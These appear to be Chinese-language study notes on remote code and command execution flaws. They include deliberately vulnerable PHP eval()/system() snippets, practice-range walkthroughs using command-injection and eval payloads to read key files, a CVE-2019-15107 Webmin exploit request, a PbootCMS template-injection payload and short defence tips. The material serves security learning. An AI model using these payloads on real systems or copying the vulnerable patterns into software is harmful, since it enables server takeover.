RCE漏洞概述
定义与危害
- RCE漏洞即Remote Code/Command Execution(远程代码执行和远程命令执行)
- 通过可控输入产生,可能让攻击者获取服务器命令执行权限
案例演示
- 远程代码执行示例
<?php
$code=$_GET['x'];
eval($code);
?>
- 远程命令执行示例
<?php
$code=$_GET['x'];
echo system($code);
?>
公开漏洞利用
-
出现频率低,难碰见
-
示例1
- 开启靶场 www.mozhe.cn/bug/detail/…
- 目标是运行在靶场的web,根据header获取信息,确认系统
- 使用bp修改参数 iipp=127.0.0.1|cat>key_30558211529268.php &submit=Ping
- 获取关键参数
key
-
示例2:PHP代码分析溯源
- 启动靶场 www.mozhe.cn/bug/detail/…
- 解析页面内容得到 eval(
$_REQUEST[a]); - 执行请求 http://124.70.64.48:42609/f.php?a=ls
- 获取key http://124.70.64.48:42609/f.php?a=cat key_520269934627.php
- 启动靶场 www.mozhe.cn/bug/detail/…
-
示例3:公开漏洞利用
- CVE-2019-15107漏洞在VUE环境测试
- 利用Webmin的password_change.cgi文件中的代码执行漏洞
POST /password_change.cgi HTTP/1.1 user=rootxx&pam=&expired=2&old=test|cat ls &new1=test2&new2=test2 user=rootxx&pam=&expired=2&old=test|cat /key.txt &new1=test2&new2=test2
CMS案例
PbootCMS
- 测试留言板注入
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
- 分析控制器源码查找漏洞原因
\apps\home\controller\AboutController.php
![]()
SeaCms
- 下载代码并部署
- 查找不同页面的代码注入点
- ip设置页面
- 微信公众号设置页面
- ip设置页面
- 使用审计工具进行审计
RCE漏洞防御
- 在执行命令函数前进行检测和过滤
- 避免使用危险函数或谨慎使用
- 对
eval()函数要确保数据安全,杜绝危险变量输入